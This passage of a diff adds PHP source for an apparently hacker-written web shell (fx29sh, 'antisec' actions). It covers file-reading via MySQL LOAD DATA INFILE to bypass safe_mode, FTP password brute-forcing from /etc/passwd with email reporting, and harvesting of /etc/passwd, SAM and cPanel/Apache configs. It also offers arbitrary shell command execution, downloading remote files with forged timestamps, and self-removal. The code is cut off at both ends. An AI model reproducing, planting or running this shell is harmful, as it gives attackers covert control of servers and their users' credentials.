mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $poerpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $poerpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($poerpage)) {$poerpage = 10;} + $numpages = $count_row[0]/$poerpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$poerpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "
        Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
        "; + echo "[ Structure ]   "; + echo "[ Browse ]   "; + echo "[ Dump ]   "; + echo "Insert ]   "; + if ($sql_tbl_antisec == "structure") {echo "

        Coming sooon!";} + if ($sql_tbl_antisec == "insert") { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) { } //Not Ready + else { + echo "

        Inserting row into table:
        "; + if (!empty($sql_tbl_insert_q)) { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("

        ".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "
        "; + foreach ($tbl_struct_fields as $field) { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo ""; + $i++; + } + echo "
        FieldTypeFunctionValue
        ".htmlspecialchars($name)."".$field["Type"]."

        "; + echo "Insert as new row"; + if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} + echo "

        "; + } + } + if ($sql_tbl_antisec == "browse") { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "
        "; + echo "\"Pages\" "; + $b = 0; + for($i=0;$i<$numpages;$i++) { + if (($i*$poerpage != $sql_tbl_ls) or ($i*$poerpage+$poerpage != $sql_tbl_le)) {echo "";} + echo $i; + if (($i*$poerpage != $sql_tbl_ls) or ($i*$poerpage+$poerpage != $sql_tbl_le)) {echo "";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "
        ";} + else {echo " ";} + } + if ($i == 0) {echo "empty";} + echo "
        From:  To:  
        "; + echo "
        "; + echo ""; + echo ""; + for ($i=0;$i"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "".$v."";} + else {echo "".$v."\"".$m."\"";} + echo ""; + } + echo ""; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + echo ""; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo ""; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "NULL";} + echo ""; + $i++; + } + echo ""; + echo ""; + } + mysql_free_result($result); + echo "
        Action
        ".$v.""; + echo "\"Delete\" "; + echo "\"Edit\" "; + echo "

         

        "; + } + } + else { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "
        "; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + $i++; + } + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo "
        Table
        RowsTypeCreatedModifiedSizeAction
         ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." \"Empty\"  \"Drop\" \"Insert\" 
        +
        ".$i." table(s)
        ".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."

         

        "; + mysql_free_result($result); + } + } + } + } + } + else { + $antisecs = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_antisec,$antisecs)) {?>
        Create new DB:
         
        View File:
         
        "; + if ($sql_antisec == "newdb") { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
        ";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
        Reason:
        ".mysql_smarterror();} + } + if ($sql_antisec == "serverstatus") { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "
        Server-status variables:

        "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
        NameValue
        ".$row[0]."".$row[1]."
        "; + mysql_free_result($result); + } + if ($sql_antisec == "servervars") { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "
        Server variables:

        "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
        NameValue
        ".$row[0]."".$row[1]."
        "; + mysql_free_result($result); + } + if ($sql_antisec == "processes") { + if (!empty($kill)) { + $query = "KILL ".$kill.";"; + $result = mysql_query($query, $sql_sock); + echo "Process #".$kill." was killed."; + } + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "
        Processes:

        "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} + echo "
        IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
        ".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill
        "; + mysql_free_result($result); + } + if ($sql_antisec == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "Error in reading file (permision denied)!";} + else + { + for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
        ";} + else {echo "File \"".$sql_getfile."\":
        ".nl2br(htmlspecialchars($f))."
        ";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } +} +echo "
        "; +if ($sql_sock) { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "
        Affected rows : ".$affected."
        "; +} +if ($antisec == "ftpquickbrute") { +echo "
        "; +echo "". + "". + "". + "". + "". + "
        "; +echo ".: Ftp Quick Brute :.
        "; +if ($win) {echo "Couldn't run on Windows!";} +else { + function assftpbrutecheck($host,$poort,$timeout,$login,$poass,$sh,$fqb_onlywithsh) { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) { + $sock = @ftp_connect($host,$poort,$timeout); + if (@ftp_login($sock,$login,$poass)) { + echo "Connected to ".$host." with login \"".$login."\" and password \"".$poass."\".
        "; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else { + if ($fqb_logging) { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = gmt(); + while(!feof($fp)) { + $str = explode(":",fgets($fp,2048)); + if (assftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { + echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"
        "; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(gmt()-$ftpquick_st,4); + echo "
        Done!
        Total time (secs.): ".$ftpquick_t."
        Total connections: ".$i."
        Success.: ".$success."
        Unsuccess.:".($i-$success)."
        Connects per second: ".round($i/$ftpquick_t,2)."
        "; + $fqb_log .= "\r\n--------ASS-----------------ASS-----------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else { + $logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "
        ". + "Read first:
        Users only with shell
        Logging
        Logging to file:
        Logging to e-mail:
        "; + } + echo "
        "; +} +} +if ($antisec == "d") { +if (!is_dir($d)) { echo "
        $d is a not a Directory!
        "; } +else { + echo "Directory information:"; + if (!$win) { + echo "
        Owner/Group "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "
        Perms".v13w_p3rm5_color($d)."
        Create time ".date("d/m/Y H:i:s",filectime($d))."
        Access time ".date("d/m/Y H:i:s",fileatime($d))."
        MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
        "; +} +} +if ($antisec == "phpinfo") {@ob_clean(); phpinfo(); ass5h3x17();} +if ($antisec == "security") { + echo "
        .: Server Security Information :.
        ". + "". + ""; + echo ""; } + else {echo "You can crack Windows passwords. Download, and use lcp.crack+ ?.";} + } + echo ""; + echo ""; + + function displaysecinfo($name,$value) { + if (!empty($value)) { + echo ""; + } + } + if (!$win) { + displaysecinfo("0S V3rs10n",s3x3c("cat /proc/version")); + displaysecinfo("K3rn3l V3rs10n",s3x3c("sysctl -a | grep version")); + displaysecinfo("D15tr1b N4m3",s3x3c("cat /etc/issue.net")); + displaysecinfo("D15tr1b N4m3 (2)",s3x3c("cat /etc/*-realise")); + displaysecinfo("CPU 1nf0",s3x3c("cat /proc/cpuinfo")); + displaysecinfo("RAM",s3x3c("free -m")); + displaysecinfo("HDD 5p4c3",s3x3c("df -h")); + displaysecinfo("L157 9f 4ttr1bu735",s3x3c("lsattr -a")); + displaysecinfo("M0un7 0p710n5",s3x3c("cat /etc/fstab")); + displaysecinfo("cURL 1n574ll3d?",s3x3c("which curl")); + displaysecinfo("lynx 1n574ll3d?",s3x3c("which lynx")); + displaysecinfo("links 1n574ll3d?",s3x3c("which links")); + displaysecinfo("fetch 1n574ll3d?",s3x3c("which fetch")); + displaysecinfo("GET 1n574ll3d?",s3x3c("which GET")); + displaysecinfo("perl 1n574ll3d?",s3x3c("which perl")); + displaysecinfo("Where is Apache?",s3x3c("whereis apache")); + displaysecinfo("Where is perl?",s3x3c("whereis perl")); + displaysecinfo("Locate proftpd.conf",s3x3c("locate proftpd.conf")); + displaysecinfo("Locate httpd.conf",s3x3c("locate httpd.conf")); + displaysecinfo("Locate my.conf",s3x3c("locate my.conf")); + displaysecinfo("Locate psybnc.conf",s3x3c("locate psybnc.conf")); + } + else { + displaysecinfo("OS V3rs10n",s3x3c("ver")); + displaysecinfo("4cc0un7 53771ngs",s3x3c("net accounts")); + } + echo "
        Open Base Dir".$hopenbasedir."
        Password File"; + if (!$win) { + if ($nixpasswd) { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:
        "; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "
        From:  To:  

        "; + $i = $nixpwd_s; + while ($i < $nixpwd_e) { + $uid = posix_getpwuid($i); + if ($uid) { + $uid["dir"] = "".$uid["dir"].""; + echo join(":",$uid)."
        "; + } + $i++; + } + } + else {echo "Get /etc/passwd";} + } + else { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "
        You can't crack Windows passwords(".$v.")
        Config Files"; + if (!$win) { + $v = array( + array("User Domains","/etc/userdomains"), + array("Cpanel Config","/var/cpanel/accounting.log"), + array("Apache Config","/usr/local/apache/conf/httpd.conf"), + array("Apache Config","/etc/httpd.conf"), + array("Syslog Config","/etc/syslog.conf"), + array("Message of The Day","/etc/motd"), + array("Hosts","/etc/hosts") + ); + $sep = "/"; + } + else { + $windir = $_SERVER["WINDIR"]; + $etcdir = $windir . "\system32\drivers\etc\\"; + $v = array( + array("Hosts",$etcdir."hosts"), + array("Local Network Map",$etcdir."networks"), + array("LM Hosts",$etcdir."lmhosts.sam"), + ); + $sep = "\\"; + } + foreach ($v as $sec_arr) { + $sec_f = substr(strrchr($sec_arr[1], $sep), 1); + $sec_d = rtrim($sec_arr[1],$sec_f); + $sec_full = $sec_d.$sec_f; + $sec_d = rtrim($sec_d,$sep); + if (file_get_contents($sec_full)) { + echo " [ ".$sec_arr[0]." ] "; + } + } + echo "
        ".$name."
        ".wordwrap($value,100)."
        \n"; +} +if ($antisec == "mkfile") { +if ($mkfile != $d) { + if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object already exists!";} + elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied!";} + else {$antisec = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} +} +else {$antisec = $dsantisec = "ls";} +} +if ($antisec == "encoder") { +echo "". + "
        ". + "". + "
        ". + "". + "". + ""; +foreach(array("md5","crypt","sha1","crc32") as $v) { + echo ""; +} +echo "". + "". + "". + "". + "". + "". + "". + "
        .: Encoder :.
        Input:
        ". + "
        Hashes:".$v.":
        Url:urlencode:
        urldecode:
        Base64:base64_encode:
        base64_decode:"; +if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} +else { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) { echo ""; } + else { $rows++; echo ""; } + echo " [Send to input]"; +} +echo "
        Base convertations:dec2hex
        "; +} +if ($antisec == "fsbuff") { + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "

        Buffer is empty!

        ";} + else { + $fx_infohead = "File-System Buffer"; + $ls_arr = $arr; + $disp_fullpath = TRUE; + $antisec = "ls"; + } +} +if ($antisec == "selfremove") { + if (($submit == $rndcode) and ($submit != "")) { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$sh_name."!"; ass5h3x17(); } + else {echo "
        Can't delete ".__FILE__."!
        ";} + } + else { + if (!empty($rndcode)) {echo "Error: incorrect confirmation!";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "
        Self-remove: ".__FILE__."
        Are you sure?
        For confirmation, enter \"".$rnd."\"
         "; + } +} +if ($antisec == "search") { + echo "
        .: $sh_name File-System Search :.
        "; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array( + "name"=>$search_name, + "name_regexp"=>$search_name_regexp, + "text"=>$search_text, + "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = gmt(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {assfsearch($v);} + $searchtime = round(gmt()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else { + $ls_arr = $found; + $disp_fullpath = TRUE; + $antisec = "ls"; + } + } + echo "". + "". + "". + "". + "". + "". + "
        ". + "". + "File or folder Name:
          - Regular Expression
        Look in (Separate by \";\"):
        A word or phrase in the file:
        Regular Expression". + " Whole words only". + " Case sensitive". + " f1nd files NOT containing the text
        "; + if ($antisec == "ls") { + $dsantisec = $antisec; + echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).
        ". + "
        "; + } +} +if ($antisec == "chmod") { + $mode = fileperms($d.$f); + if (!$mode) {echo "Ch4ng3 f1l3-m0d3 w17h 3rr0r: c4n'7 g37 curr3n7 v4lu3.";} + else { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$antisec = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $poerms = parse_perms($mode); + echo "Ch4ng1ng f1l3-m0d3 (".$d.$f."), ".v13w_p3rm5_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
        ".($err?"Error: ".$err:"")."
        Owner

         Read
         Write
        eXecute
        Group

         Read
         Write
        eXecute
        World

         Read
         Write
        eXecute
        "; + } +} +} +if ($antisec == "upload") { + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;} + if (!empty($submit)) { + global $_FILES; + $uploadfile = $_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { + $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
        "; + } + else { $uploadmess .= "File uploaded successfully!
        ".$uploadpath.$destin; } + } + elseif (!empty($uploadurl)) { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) { + if ($i > 0) {$b = "_".$i;} + $destin = "upload".$b; + $i++; + } + } + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorrect URL!";} + else { + $st = gmt(); + $content = @file_get_contents($uploadurl); + $dt = round(gmt()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!";} + else { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!
        ";} + else { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + $uploadmess .= "File saved from ".$uploadurl." !"; + } + } + } + } + else { echo "No file to upload!"; } + } + if ($miniform) { + echo "".$uploadmess.""; + $antisec = "ls"; + } + else { + echo "". + "". + "". + "". + "". + "". + "". + "
        ". + "F1l3 Upl04d".$uploadmess."
        ". + "From Your Computer:
        From URL:
        Target Directory:
        Target File Name:
        Convert file name to lowercase
        ". + "
        "; + } +} +if ($antisec == "delete") { + $delerr = ""; + foreach ($antisecbox as $v) { + $result = FALSE; + $result = ass_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."
        ";} + } + if (!empty($delerr)) {echo "Deleting with errors:
        ".$delerr;} + $antisec = "ls"; +} +if (!$usefsbuff) { + if (($antisec == "paste") or ($antisec == "copy") or ($antisec == "cut") or ($antisec == "unselect")) {echo "
        Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.
        ";} +} +else { + if ($antisec == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$antisecbox); ass_sess_put($sess_data); $antisec = "ls"; } + elseif ($antisec == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$antisecbox); ass_sess_put($sess_data); $antisec = "ls";} + elseif ($antisec == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$antisecbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$antisecbox)) {unset($sess_data["cut"][$k]);}} ass_sess_put($sess_data); $antisec = "ls";} + if ($antisecemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ass_sess_put($sess_data);} + elseif ($antisecpastebuff) { + $posterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!ass_copy_obj($v,$to)) {$posterr .= "Can't copy ".$v." to ".$to."!
        ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!ass_move_obj($v,$to)) {$posterr .= "Can't move ".$v." to ".$to."!
        ";} + unset($sess_data["cut"][$k]); + } + ass_sess_put($sess_data); + if (!empty($posterr)) {echo "Pasting with errors:
        ".$posterr;} + $antisec = "ls"; + } + elseif ($antisecarcbuff) { + $arcerr = ""; + if (substr($antisecarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$antisecarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = s3x3c($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
        ";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) { + if (in_array($v,$ret)) {ass_rmobj($v);} + unset($sess_data["cut"][$k]); + } + ass_sess_put($sess_data); + if (!empty($arcerr)) {echo "Archivation errors:
        ".$arcerr;} + $antisec = "ls"; + } + elseif ($antisecpastebuff) { + $posterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!ass_copy_obj($v,$d)) {$posterr .= "Can't copy ".$v." to ".$to."!
        ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!ass_move_obj($v,$d)) {$posterr .= "Can't move ".$v." to ".$to."!
        ";} + unset($sess_data["cut"][$k]); + } + ass_sess_put($sess_data); + if (!empty($posterr)) {echo "Pasting with errors:
        ".$posterr;} + $antisec = "ls"; + } +} +if ($antisec == "cmd") { + @chdir($chdir); + if (!empty($submit)) { + echo "
        .: Result of Command Execution :.
        "; + $olddir = realpath("."); + @chdir($d); + $ret = s3x3c($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10; } + if ($msie) { $cols = 113; } + else { $cols = 117;} + echo "
        ".htmlspecialchars($ret)."
        "; + } + else {echo $ret."
        ";} + @chdir($olddir); + } + else { + echo "Command Execution"; + if (empty($cmd_txt)) {$cmd_txt = TRUE;} + } +} +if ($antisec == "ls") { + if (count($ls_arr) > 0) { $list = $ls_arr; } + else { + $list = array(); + if ($h = @opendir($d)) { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) { echo "
        Can't open folder (".htmlspecialchars($d).")!
        ";} + else { + $objects = array(); + $vd = "f"; + if ($vd == "f") { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";} + elseif (is_dir($v)) { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "Name"; + $row[] = "Size"; + $row[] = "Date Modified"; + if (!$win) {$row[] = "Owner/Group";} + $row[] = "Perms"; + $row[] = "Action"; + $poarsesort = parsesort($sort); + $sort = $poarsesort[0].$poarsesort[1]; + $k = $poarsesort[0]; + if ($poarsesort[1] != "a") {$poarsesort[1] = "d";} + $y = " "; + $y .= "\"".($poarsesort[1]"; + $row[$k] .= $y; + for($i=0;$i".$row[$i]."";} + } + $v = $poarsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($poarsesort[1] == "d") { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} + foreach ($regxp_highlight as $r) { + if (ereg($r[0],$o)) { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; ass5h3x17();} + else { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { + if (empty($r[2])) {$r[2] = ""; $r[3] = "";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") { + $row[] = " ".$o.""; + $row[] = "CURDIR"; + } + elseif ($o == "..") { + $row[] = " ".$o.""; + $row[] = "UPDIR"; + } + elseif (is_dir($v)) { + if (is_link($v)) { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = " [".$disppath."]"; + } + else { + $type = "DIR"; + $row[] = " [".$disppath."]"; + } + $row[] = $type; + } + elseif(is_file($v)) { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = " ".$disppath.""; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "".v13w_p3rm5_color($v).""; + if ($o == ".") {$checkbox = ""; $i--;} + else {$checkbox = "";} + if (is_dir($v)) {$row[] = "\"Info\" ".$checkbox;} + else {$row[] 